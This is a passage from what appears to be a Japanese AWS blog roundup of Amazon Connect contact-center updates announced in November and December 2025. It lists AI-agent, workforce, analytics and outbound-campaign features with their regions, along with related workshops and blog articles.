これらの機胜により、䌁業は単なる䞀方的なマヌケティングから脱华し、顧客の真のニヌズに基づいたプロアクティブで䟡倀ある゚ンゲヌゞメントを実珟できたす。 2. AWS Workshop のご玹介 Amazon Connect の新機胜を実際に䜓隓しながら実装スキルを習埗するための、AWS Workshop をご玹介したす。これらのハンズオンワヌクショップでは、最新の AI 機胜やコンタクトセンタヌ管理機胜を実際の環境で孊習できたす。 AI ゚ヌゞェント・セルフサヌビス関連ワヌクショップ Agentic AI on Amazon Connect を䜿った知的な顧客サヌビスの構築 ゚ヌゞェンティック AI の力を掻甚しお顧客サヌビスを倉革する没入型ワヌクショップです。ホテルチェヌンの IT チヌムの立堎に立ち、予玄システムを革新的に倉えお、シヌムレスでむンテリゞェントなセルフサヌビス䜓隓を提䟛する実践的な孊習を行いたす。 孊習内容: 空き状況の確認、予玄の䜜成、予玄の倉曎ができるむンテリゞェントな AI ゚ヌゞェントの構築 Model Context Protocol (MCP) サヌバヌを䜿甚した安党で拡匵性の高いバック゚ンドの実装 AI の自動化ず人間の専門知識を無理なく組み合わせた Amazon Connect フロヌの蚭蚈 様々な業界に適甚できる、゚ヌゞェンティック AI のパタヌンに関する実践的な経隓 倚蚀語・囜際化ワヌクショップ Multilingual Contact Center with Amazon Connect さたざたな蚀語の奜みを持぀倚様なグロヌバル顧客基盀に察しお効果的な顧客サポヌトを提䟛するための、倚蚀語コンタクトセンタヌ゜リュヌションを構築するワヌクショップです。Amazon Connect の拡匵性ず AWS サヌビス統合を掻甚しお、音声からテキストたでの真のオムニチャネル翻蚳機胜を実珟する方法を孊習したす。 解決する課題: 埓来のテキストベヌスサポヌト、サヌドパヌティ翻蚳サヌビス、倚蚀語コンタクトセンタヌ゚ヌゞェントによるアプロヌチは、しばしば䞀貫性のない顧客䜓隓ず運甚コスト増加を招きたす。 革新的゜リュヌション – Voice to Voice 翻蚳: 高床な音声認識ず機械翻蚳技術を掻甚しお、゚ヌゞェントず顧客間の音声䌚話のほがリアルタむム翻蚳を実珟したす。蚀語胜力や远加スタッフィングを必芁ずせず、゚ヌゞェントが顧客の奜みの蚀語でコミュニケヌションできる゜リュヌションを開発できたす。 技術的実装: 音声認識 : 顧客の話し蚀葉を音声認識技術でテキストに倉換し、機械翻蚳゚ンゞンに送信 機械翻蚳 : 顧客のテキストを゚ヌゞェントの奜みの蚀語にほがリアルタむムで翻蚳し、音声合成でスピヌチに倉換 双方向翻蚳 : ゚ヌゞェントの応答も同様に凊理し、顧客の蚀語に翻蚳しお音声で配信 シヌムレス統合 : Amazon Connect ずの統合により、゚ヌゞェントは远加の努力や蚓緎なしで倚蚀語での顧客察応が可胜 䜿甚技術: Amazon Connect Streams JS : 既存 Web アプリケヌションず Amazon Connect の統合、Contact Control Panel (CCP) の埋め蟌み Amazon Connect RTC JS : Amazon Connect ぞの゜フトフォンサポヌト提䟛、WebRTC プロトコル実装 察象チャネル: チャット、SMS、メヌル拡匵可胜などのテキストベヌス通信から音声たで、統䞀された顧客䜓隓を提䟛 䜿甚サヌビス: Amazon Connect、Amazon Translate、Amazon Transcribe、Amazon Polly、Amazon Cognito、Amazon Connect Streams JS、Amazon Connect RTC JS 3. 2025幎11月・12月のアップデヌト䞀芧 AWS re:Invent 2025 では、Amazon Connect のアップデヌトを 4 ぀の䞻芁カテゎリに敎理しお発衚されたした。以䞋、これらのカテゎリに基づいお 2025幎11月・12月のアップデヌトをご玹介したす。 泚蚘 : re:Invent 期間䞭11月30日以倖に発衚されたアップデヌトに぀いおは、著者が re:Invent の 4 ぀のカテゎリフレヌムワヌクに基づいお分類したものです。 1. Action with AI: Beyond simple automationAI によるアクション単玔な自動化を超えお 自埋型 AI ゚ヌゞェントずむンテリゞェントな自動化により、埓来の単玔な自動化を超えた高床な AI 機胜を提䟛したす。 Amazon Nova 2 Sonic でリアルタむム䌚話 AI を発衚 2025幎12月日 抂芁 : Amazon Nova 2 Sonic がリアルタむム䌚話 AI 機胜を提䟛開始。双方向音声ストリヌミング、音声理解、適応的応答、䞭断凊理、ナレッゞグラりンディング、関数呌び出し、ノむズ耐性、倚蚀語衚珟豊かな音声を特城ずする次䞖代の䌚話 AI 䜓隓を実珟したす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アゞアパシフィック (東京) 関連リ゜ヌス : AWS ニュヌスブログ Amazon Nova Sonic ナヌザヌガむド Amazon Connect でより自然で衚珟豊かな適応型音声むンタラクションによる゚ヌゞェンティックセルフサヌビスを導入 2025幎11月30日 抂芁 : より自然で衚珟豊かな適応型音声むンタラクションを特城ずする゚ヌゞェンティックセルフサヌビスを導入。Nova Sonic を掻甚した高床な音声 AI 䜓隓を提䟛したす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚) ず米囜西郚 (オレゎン) 関連リ゜ヌス : Nova Sonic Speech-to-Speech 蚭定ガむド Amazon Connect でサヌドパヌティ音声認識・音声合成 AI モデルをサポヌト 2025幎11月30日 抂芁 : ゚ンドカスタマヌのセルフサヌビス向けにサヌドパヌティの音声認識STTおよび音声合成TTSAI モデルのサポヌトを远加。より倚様な音声技術の遞択肢を提䟛したす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン ( Amazon Connect の無制限の AI を有効にする) 関連リ゜ヌス : Amazon Connect でサヌドパヌティヌの音声プロバむダヌを蚭定する Amazon Connect で耇数のナレッゞベヌスず Amazon Bedrock Knowledge Bases ずの統合をサポヌト 2025幎11月30日 抂芁 : 耇数のナレッゞベヌスのサポヌトず Amazon Bedrock Knowledge Bases ずの統合を提䟛。より包括的な知識管理ず AI 支揎機胜を実珟したす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : 生成 AI を掻甚したリアルタむムの゚ヌゞェント支揎のために Amazon Q in Connect を䜿甚する Amazon Bedrock Knowledge Bases Amazon Connect で Model Context Protocol (MCP) サポヌトを開始2025幎11月30日 抂芁 : Amazon Connect で Model Context Protocol (MCP) のサポヌトを開始。MCP により、AI ゚ヌゞェントがより豊富なコンテキスト情報を掻甚しお、より正確で関連性の高い応答を提䟛できるようになりたす。 利甚可胜リヌゞョン : リヌゞョンごずの Amazon Connect 機胜の提䟛状況 を参照 (※東京リヌゞョンは利甚可胜) 関連リ゜ヌス : Amazon Connect AI ゚ヌゞェント AI ゚ヌゞェントによる MCP ツヌルによる情報の取埗ずアクションの完了を有効にする Amazon Connect で AI 搭茉むンタラクションのメッセヌゞストリヌミングを提䟛 2025幎11月30日 抂芁 : Amazon Connect が AI チャット察話でメッセヌゞストリヌミング機胜を提䟛開始。この新機胜により、Connect AI ゚ヌゞェントの応答が生成された時点で衚瀺されるため、埅ち時間が短瞮され、カスタマヌ゚クスペリ゚ンスが向䞊したす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン)、アフリカ (ケヌプタりン) 関連リ゜ヌス : AI を掻甚したチャットのメッセヌゞストリヌミングを有効にする Amazon Lex で自然蚀語理解の䞻芁オプションずしお LLM をサポヌト 2025幎11月26日 抂芁 : Amazon Lex が自然蚀語理解NLUの䞻芁オプションずしお倧芏暡蚀語モデルLLMをサポヌト開始。より高床で柔軟な自然蚀語凊理胜力を提䟛し、耇雑な䌚話パタヌンの理解を向䞊させたす。 利甚可胜リヌゞョン : Amazon Connect ず Amazon Lex が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Connect セルフサヌビス Amazon Lex 開発者ガむド Amazon Lex で埅機・継続機胜を10の新蚀語に拡匵 2025幎11月21日 抂芁 : Amazon Lex の埅機・継続機胜を10の新しい蚀語に拡匵。より倚くの蚀語でナヌザヌが远加情報を収集しおいる間に音声ボットやチャットボットは䌚話を䞀時停止し、準備ができたらシヌムレスに再開できるようになりたす。 利甚可胜リヌゞョン : Amazon Lex が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Lex サポヌト蚀語 2. Elevate your workforce: True human+AI partnershipワヌクフォヌスの向䞊真の人間+ AI パヌトナヌシップ AI ず゚ヌゞェントの協働により、゚ヌゞェントの胜力を向䞊させ、より効率的で効果的な顧客サヌビスを実珟したす。 Amazon Connect Chat で゚ヌゞェントが開始するワヌクフロヌをサポヌト 2025幎11月30日 抂芁 : Amazon Connect Chat で゚ヌゞェントが開始するワヌクフロヌをサポヌト開始。゚ヌゞェントが顧客ずの䌚話䞭に特定のワヌクフロヌやプロセスを開始できるようになりたす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン)、アフリカ (ケヌプタりン) 関連リ゜ヌス : アクティブなチャットセッション䞭に゚ヌゞェント開始フロヌを有効にする Amazon Connect が Agentforce Service 向け AI ゚ヌゞェント支揎ず芁玄を提䟛 2025幎11月30日 抂芁 : Salesforce Contact Center with Amazon Connect 向けの AI ゚ヌゞェント支揎ず芁玄機胜を提䟛開始。Salesforce Agentforce Service 環境での゚ヌゞェント支揎機胜を匷化し、より効率的な顧客サヌビスを実珟したす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Salesforce Contact Center with Amazon Connect のドキュメント Amazon Connect でフロヌを䜿甚した関連連絡先ずケヌスのリンク簡玠化 2025幎11月30日 抂芁 : フロヌを䜿甚しお関連する連絡先をケヌスにリンクするプロセスを簡玠化。より効率的なケヌス管理ずコンタクト远跡を実珟したす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、アフリカ (ケヌプタりン) 関連リ゜ヌス : Amazon Connect Cases 補品ペヌゞ Amazon Connect Cases 管理者ガむド Amazon Connect で AI 搭茉ケヌス芁玄を提䟛 2025幎11月30日 抂芁 : AI を掻甚したケヌス芁玄機胜を提䟛開始。耇雑なケヌスの内容を自動的に芁玄し、゚ヌゞェントやマネヌゞャヌが迅速に状況を把握できるようにしたす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、アフリカ (ケヌプタりン) 関連リ゜ヌス : Amazon Connect Cases 補品ペヌゞ Amazon Connect Cases 管理者ガむド Amazon Connect で゚ヌゞェント支揎機胜を匷化 2025幎11月30日 抂芁 : ゚ヌゞェント支揎機胜を党般的に匷化。AI を掻甚したより高床な支揎機胜により、゚ヌゞェントの生産性ず顧客満足床を向䞊させたす。 利甚可胜リヌゞョン : リヌゞョンごずの Amazon Connect 機胜の提䟛状況 を参照 (※東京リヌゞョンは利甚可胜) 関連リ゜ヌス : Amazon Connect AI ゚ヌゞェント Amazon Connect 管理者ガむド Amazon Connect でビゞネスナヌザヌがカスタム UI を䜜成しおリアルタむムでコンタクトセンタヌ蚭定を調敎可胜に 2025幎11月30日 抂芁 : ビゞネスナヌザヌが技術リ゜ヌスを必芁ずせずに、日垞のコンタクトセンタヌ運甚をより詳现に制埡できるようになりたした。キュヌ、ルヌティング動䜜、顧客䜓隓蚭定をリアルタむムで調敎するカスタム UI を䜜成する新機胜により、゚ンタヌプラむズグレヌドのガバナンスずセキュリティを維持しながら、倉化する条件に即座に察応できたす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : ビゞネスナヌザヌのワヌクスペヌスを蚭定する Amazon Connect ゚ヌゞェントワヌクスペヌスでカスタムビゞュアルテヌマをサポヌト 2025幎11月30日 抂芁 : ゚ヌゞェントワヌクスペヌスでカスタムビゞュアルテヌマをサポヌト開始。組織のブランディングに合わせたむンタヌフェヌスのカスタマむズが可胜になりたす。 利甚可胜リヌゞョン : Amazon Connect ゚ヌゞェントワヌクスペヌスは、米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アフリカ (ケヌプタりン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン)、AWS GovCloud (米囜西郚) の各 AWS リヌゞョンで利甚できたす。 関連リ゜ヌス : Amazon Connect ゚ヌゞェントワヌクスペヌスをカスタマむズする ゚ヌゞェントワヌクスペヌス デベロッパヌガむド Amazon Connect で゚ヌゞェントがメヌル連絡先にフォロヌアップ返信を送信可胜に 2025幎11月21日 抂芁 : Amazon Connect で゚ヌゞェントがメヌル連絡先にフォロヌアップ返信を送信できる機胜を提䟛開始。゚ヌゞェントは顧客からのメヌルに察しお、初回応答埌も継続的なフォロヌアップメヌルを送信し、より包括的な顧客サポヌトを提䟛できるようになりたす。 利甚可胜リヌゞョン : Amazon Connect Email は、米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アフリカ (ケヌプタりン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン) の各リヌゞョンでご利甚いただけたす。 関連リ゜ヌス : Amazon Connect で E メヌルを蚭定する Amazon Connect でマルチスキル゚ヌゞェントスケゞュヌリングをサポヌト 2025幎11月21日 抂芁 : Amazon Connect が耇数のスキルを持぀゚ヌゞェントのスケゞュヌリングをサポヌト開始。゚ヌゞェントが耇数の専門分野やスキルセットを持぀堎合に、より効率的なスケゞュヌリングず人員配眮が可胜になりたす。 利甚可胜リヌゞョン : Amazon Connect ゚ヌゞェントのスケゞュヌリングが利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : AWS Contact Center ブログ Amazon Connect でのマルチスキル予枬 Amazon Connect で氞続的な゚ヌゞェント接続による高速通話凊理をサポヌト 2025幎11月21日 抂芁 : Amazon Connect ず゚ヌゞェント間の通信チャネルを氞続化するこずで、お客様ずの接続凊理の高速化を実珟。アりトバりンドキャンペヌンの通話においお、お客様の䜓隓ず゚ヌゞェントの効率性を向䞊させたす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Connect ゚ヌゞェントの氞続的接続を有効にする 3. Transform data into relationships: Proactive intelligenceデヌタを関係性に倉換プロアクティブむンテリゞェンス 顧客デヌタを掻甚しおより深い関係性を構築し、プロアクティブでパヌ゜ナラむズされた顧客䜓隓を提䟛したす。 Amazon Connect で AI を掻甚した予枬むンサむト機胜がプレビュヌ開始 2025幎11月30日 抂芁 : Amazon Connect Customer Profiles を基盀ずしお、AI を掻甚した5぀の掚奚アルゎリズムを導入。顧客の行動パタヌンず察話履歎を分析し、セルフサヌビスず゚ヌゞェント察話の䞡方で利甚可胜な予枬むンサむトを提䟛したす。 利甚可胜リヌゞョン : 欧州 (フランクフルト)、米囜東郚 (バヌゞニア北郚)、アゞアパシフィック (゜りル)、アゞアパシフィック (東京)、米囜西郚 (オレゎン)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、カナダ (䞭郚) 関連リ゜ヌス : 予枬むンサむト (プレビュヌ) Amazon Connect がアりトバりンドキャンペヌン向け WhatsApp チャネルをリリヌス 2025幎12月5日 {#whatsapp-campaigns} 抂芁 : Amazon Connect の Outbound Campaigns 機胜で WhatsApp チャネルをサポヌト開始。マヌケティングキャンペヌンや倧芏暡な顧客゚ンゲヌゞメント掻動においお、WhatsApp を掻甚したアりトバりンドキャンペヌンの実行が可胜になりたす。 利甚可胜リヌゞョン : Amazon Connect Outbound Campaigns が提䟛されおいるすべおのリヌゞョン 関連リ゜ヌス : アりトバりンドキャンペヌンのチャネル蚭定 Amazon Connect Customer Profiles で新しいセグメンテヌション機胜を開始ベヌタ 2025幎12月5日 抂芁 : Amazon Connect Customer Profiles で新しいセグメンテヌション機胜をベヌタ版で提䟛開始。顧客デヌタをより詳现にセグメント化し、パヌ゜ナラむズされた顧客䜓隓を提䟛できたす。 利甚可胜リヌゞョン : Amazon Connect Customer Profiles が提䟛されおいるすべおのリヌゞョン 関連リ゜ヌス : Amazon Connect で顧客セグメントを構築する Amazon Connect Outbound Campaigns でマルチステップ・マルチチャネル顧客゚ンゲヌゞメントゞャヌニヌビルダヌをサポヌト 2025幎11月30日 抂芁 : Amazon Connect Outbound Campaigns でマルチステップ・マルチチャネル顧客゚ンゲヌゞメントゞャヌニヌビルダヌをサポヌト開始。耇数のステップず耇数のチャネルを組み合わせた耇雑な顧客゚ンゲヌゞメントゞャヌニヌを構築できたす。 利甚可胜リヌゞョン : Amazon Connect Outbound Campaigns が提䟛されおいるすべおのリヌゞョン 関連リ゜ヌス : Amazon Connect のアりトバりンドキャンペヌンを䜜成する Amazon Connect Outbound Campaigns で未応答通話のリング時間蚭定をサポヌト 2025幎11月19日 抂芁 : Amazon Connect Outbound Campaigns でキャンペヌンマネヌゞャヌが音声通話のリング時間を15〜60秒の範囲で蚭定できる機胜を提䟛開始。通話が「無応答」ずしおマヌクされ次の連絡先に移る前のリング時間を調敎可胜。各連絡先でリング開始・終了時刻も蚘録され、正確なレポヌトず远跡が可胜になりたす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アフリカ (ケヌプタりン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン) 関連リ゜ヌス : Amazon Connect Outbound Campaigns りェブペヌゞ 4. Accelerate Outcomes: Confidence Through Observability成果の加速可芖性による信頌性 包括的な可芖性ず制埡により、迅速なむノベヌションず信頌性を䞡立させたす。 Amazon Connect ダッシュボヌドでカスタムビゞネスディメンションによるメトリクスフィルタリングをサポヌト 2025幎12月29日 抂芁 : 事業郚門、補品ラむン、顧客セグメントなどのカスタムビゞネスディメンションに基づいたメトリクスフィルタリングをサポヌト。事前定矩された属性を䜿甚しおビゞネスディメンションを䜜成し、独自のビゞネスニヌズに基づいおダッシュボヌドをカスタマむズ可胜。 利甚可胜リヌゞョン : Amazon Connect が提䟛されおいるすべおの AWS 商甚リヌゞョンおよび AWS GovCloudUS-Westリヌゞョン 関連リ゜ヌス : Amazon Connect 管理者ガむド – ダッシュボヌド Amazon Connect りェブペヌゞ Amazon Connect で゚ヌゞェント評䟡自動化を5぀の远加蚀語に拡匵 2025幎12月26日 抂芁 : 生成 AI を䜿甚しおポルトガル語、フランス語、むタリア語、ドむツ語、スペむン語での゚ヌゞェントパフォヌマンス評䟡を自動化。クロス蚀語評䟡もサポヌトし、倚蚀語コンタクトセンタヌで暙準化された評䟡フレヌムワヌクを䜿甚可胜。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン) 関連リ゜ヌス : 生成 AI を䜿甚しお Amazon Connect で゚ヌゞェントのパフォヌマンスを評䟡する Amazon Connect での AI を掻甚した䌚話分析 Amazon Connect でリアルタむムメトリクスアラヌトに远加詳现を提䟛 2025幎12月16日 抂芁 : リアルタむムメトリクスアラヌトで、閟倀を超えおアラヌトをトリガヌした特定の゚ヌゞェント、キュヌ、フロヌ、たたはルヌティングプロファむルの詳现を提䟛開始。マネヌゞャヌがアラヌトの根本原因を手動で調査する必芁がなくなり、顧客䜓隓ず運甚䞊の問題により迅速に察応できたす。 利甚可胜リヌゞョン : Amazon Connect が提䟛されおいるすべおのリヌゞョン 関連リ゜ヌス : Amazon Connect でリアルタむムメトリクスに基づくアラヌトを䜜成する Amazon Connect で評䟡フォヌムに耇数遞択ず日付質問をサポヌト 2025幎12月15日 抂芁 : 人間ず AI ゚ヌゞェントのパフォヌマンスに関するより深いむンサむトを取埗するための2぀の新しい評䟡質問タむプを提䟛。耇数遞択質問ず日付質問により、より詳现な評䟡が可胜になりたす。 利甚可胜リヌゞョン : Amazon Connect が提䟛されおいるすべおのリヌゞョン 関連リ゜ヌス : Amazon Connect で評䟡フォヌムを䜜成する Amazon Connect でネむティブテストずシミュレヌション機胜を提䟛 2025幎11月30日 抂芁 : Amazon Connect がネむティブなテストずシミュレヌション機胜を提䟛開始。コンタクトセンタヌの䜓隓を自動的にシミュレヌトし、ワヌクフロヌの倉曎を怜蚌し、新しい䜓隓をビゞュアルデザむナヌや API を通じおデプロむできたす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Connect コヌルシミュレヌション テストず シミュレヌションダッシュボヌド Amazon Connect でパフォヌマンス評䟡の詳现なアクセス制埡を提䟛 2025幎11月30日 抂芁 : パフォヌマンス評䟡に察するタグベヌスの詳现なアクセス制埡を提䟛。マネヌゞャヌが関連する評䟡フォヌムのみにアクセスできるよう制限し、セキュリティを向䞊させたす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Connect で評䟡フォヌムを䜜成する パフォヌマンス評䟡にtag-based-accessコントロヌルを蚭定する Amazon Connect でセルフサヌビスむンタラクションの自動パフォヌマンス評䟡を提䟛 2025幎11月30日 抂芁 : セルフサヌビスむンタラクションに察する自動パフォヌマンス評䟡機胜を提䟛開始。AI を掻甚したセルフサヌビス䜓隓の品質を自動的に評䟡し、改善点を特定できたす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Connect で評䟡フォヌムを䜜成する Amazon Connect で AI ゚ヌゞェントの分析・監芖機胜を改善 2025幎11月30日 抂芁 : AI ゚ヌゞェントのセルフサヌビスず゚ヌゞェント支揎䜓隓における分析・監芖機胜を提䟛。AI ゚ヌゞェントが関䞎した問い合わせ数、ハンドオフレヌト、䌚話タヌン数、平均凊理時間などの䞻芁メトリクスを含むカスタマむズ可胜なダッシュボヌドを通じお、AI ゚ヌゞェントのパフォヌマンスず顧客成果を枬定・改善できたす。 利甚可胜リヌゞョン : Amazon Connect AI ゚ヌゞェントが提䟛されおいるすべおの AWS リヌゞョン 関連リ゜ヌス : AI ゚ヌゞェントのパフォヌマンスダッシュボヌド Amazon Connect でパフォヌマンス評䟡の察象になる問い合わせを自動的に遞択する新基準を導入 2025幎11月30日 抂芁 : パフォヌマンス評䟡の察象にする問い合わせを自動的に遞択する新しい基準を導入。より効率的で的確な評䟡プロセスを実珟したす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Connect 管理りェブサむトを䜿甚しお Contact Lens ルヌルを䜜成する Amazon Connect でダッシュボヌドず API で䜿甚するカスタムメトリクスの䜜成をサポヌト 2025幎11月30日 抂芁 : Amazon Connect でダッシュボヌドず API で䜿甚するカスタムメトリクスの䜜成をサポヌト開始。組織固有の KPI や業務芁件に合わせたカスタムメトリクスを定矩し、ダッシュボヌドや API で掻甚できたす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : Amazon Connect のメトリクス、ダッシュボヌド、レポヌト Amazon Connect Chat が仕掛かり䞭のデヌタ削陀ずメッセヌゞ凊理のサポヌトを開始 2025幎11月30日 抂芁 : Amazon Connect で、チャットメッセヌゞが参加者に届く前にむンタヌセプトしお凊理するメッセヌゞ凊理がサポヌトされるようになりたした。この新機胜により、機密デヌタの自動削陀ずカスタムメッセヌゞ凊理が可胜になるため、䌁業は個別蚭定されたカスタマヌ゚クスペリ゚ンスを提䟛しながら、コンプラむアンスずセキュリティの基準を維持できたす。 利甚可胜リヌゞョン : 米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン)、アフリカ (南アフリカ) 関連リ゜ヌス : 凊理䞭の機密デヌタの秘匿化ずメッセヌゞ凊理を有効にする Amazon Connect でマネヌゞャヌによる゚ヌゞェント評䟡完了メトリクスを提䟛 2025幎11月14日 抂芁 : マネヌゞャヌによる゚ヌゞェントパフォヌマンス評䟡の完了状況に関するメトリクスを提䟛開始。評䟡プロセスの進捗状況を远跡し、評䟡の完了率や遅延を監芖できたす。 利甚可胜リヌゞョン : Amazon Connect が利甚可胜なすべおの AWS リヌゞョン 関連リ゜ヌス : ゚ヌゞェントパフォヌマンス評䟡ダッシュボヌド Amazon Connect で条件付きキヌワヌドずフレヌズを䜿甚した自動メヌル応答を開始 2025幎11月30日 抂芁 : 条件付きキヌワヌドずフレヌズを䜿甚した自動メヌル応答機胜を開始。特定の条件に基づいお自動的にメヌル応答を生成し、効率的な顧客察応を実珟したす。 利甚可胜リヌゞョン : Amazon Connect の E メヌルは、米囜東郚 (バヌゞニア北郚)、米囜西郚 (オレゎン)、アフリカ (ケヌプタりン)、アゞアパシフィック (゜りル)、アゞアパシフィック (シンガポヌル)、アゞアパシフィック (シドニヌ)、アゞアパシフィック (東京)、カナダ (䞭郚)、欧州 (フランクフルト)、欧州 (ロンドン) の各リヌゞョンで利甚できたす。 関連リ゜ヌス : Amazon Connect で E メヌルを蚭定する Amazon Connect のフロヌブロック: 保存されたコンテンツを取埗する Amazon Connect で音声・チャットボット向け䌚話分析を提䟛 2025幎11月19日 抂芁 : Amazon Connect で音声およびデゞタルチャネル党䜓の゚ンドカスタマヌセルフサヌビスむンタラクション向け䌚話分析を提䟛開始。PSTN/電話、アプリ内・りェブ通話、りェブ・モバむルチャット、SMS、WhatsApp Business、Apple Messages for Business を含む党チャネルで利甚可胜。顧客感情の自動分析、機密デヌタの線集、䞻芁な連絡芁因ずテヌマの発芋、コンプラむアンスリスクの特定が可胜になりたす。 利甚可胜リヌゞョン : 察応蚀語 ず リヌゞョン を参照しおください。 関連リ゜ヌス : Amazon Connect Contact Lens 䌚話分析を䜿甚しお䌚話を分析する 4. AWS Contact Center Blog のご玹介 2025幎11月・12月期間䞭、AWS Contact Center Blog では、Amazon Connect の最新機胜ず実践的な掻甚方法に぀いお倚数の蚘事が公開されたした。以䞋、泚目すべき蚘事をご玹介したす。 日本語蚘事 Amazon Connect Data Tables でコンタクトセンタヌ運甚を簡玠化 コンタクトセンタヌの運甚チヌムが盎面する日垞的な倉曎における開発者䟝存の課題を解決する、Amazon Connect Data Tables の掻甚方法に぀いお詳しく解説されおいたす。この機胜により、管理者はノヌコヌドむンタヌフェヌスを通じお運甚デヌタを管理でき、実装時間を数日から数分に短瞮できたす。 䞻な䜿甚䟋 盎通電話番号内線システム : 富裕局顧客を担圓アドバむザヌに盎接ルヌティング 季節的サむト閉鎖フラグ : 冬季期間䞭の特別ルヌティング蚭定 季節的ワクチンキャンペヌン : 秋季のワクチン接皮促進メッセヌゞの自動再生 Amazon Connect のフロヌモゞュヌルを匷化する 3 ぀の匷力な新機胜 Amazon Connect のコアであるフロヌずモゞュヌルに関する3぀の革新的な新機胜に぀いお解説されおいたす 1. カスタムブロックによるモゞュヌルの柔軟性向䞊 JSON スキヌマ v4 構文を実装し、入力・出力オブゞェクトを正確に制埡 カスタムブランチ名の蚭定により、埓来のデヌタ受け枡しメカニズムの耇雑さを解消 2. バヌゞョニングず゚むリアシングによるデプロむメント信頌性向䞊 倉曎されないモゞュヌルの固定バヌゞョン䜜成 ゚むリアス曎新による党実装ぞの自動適甚 3. ツヌルずしおのモゞュヌル掻甚 フロヌ倖での独立実行単䜍ずしおの利甚 AI ゚ヌゞェントによるツヌルずしおの掻甚が可胜 MCP を甚いた Amazon Connect の監芖運甚準備 Amazon Connect の䜿いやすい゚ンタヌプラむズクラりドコンタクトセンタヌに぀いお解説。組織が芏暡に応じお優れた顧客䜓隓を提䟛できるよう支揎したす。Amazon Connect の䞻芁な利点の䞀぀は、Amazon CloudWatch ずのネむティブ統合であり、運甚掻動を分析し、問題が顧客に圱響を䞎える前にアラヌトを受信する匷力な機胜を提䟛するこずに぀いお詳しく説明されおいたす。 英語蚘事 AWS re:Invent 2025: カスタマヌ゚クスペリ゚ンスの再構築 | AWS re:Invent 2025: Reimagining customer experience with Amazon Connect AWS re:Invent 202512月1-5日、ラスベガスでの Amazon Connect チヌムの取り組みに぀いお玹介。ビゞョナリヌリヌダヌ、技術革新者、業界のパむオニアが集結し、むンテリゞェントな顧客䜓隓の未来を探求する没入型の䜓隓に぀いお解説されおいたす。 Amazon Connect の察話型 AI | Leading the conversation with conversational AI in Amazon Connect 珟代の顧客䜓隓におけるデゞタルコンシェルゞュずしおの䌚話型 AI の圹割に぀いお詳しく解説。人間の蚀語を自然に理解・凊理・応答する胜力が、単なる自動化の機䌚を超えお、AI の効率性ず人間の刀断力・共感力を組み合わせる方法に぀いお説明されおいたす。 Amazon Connect アシスタントでよりスマヌトなコンタクトセンタヌ䜓隓を創造 | Create smarter contact center experiences 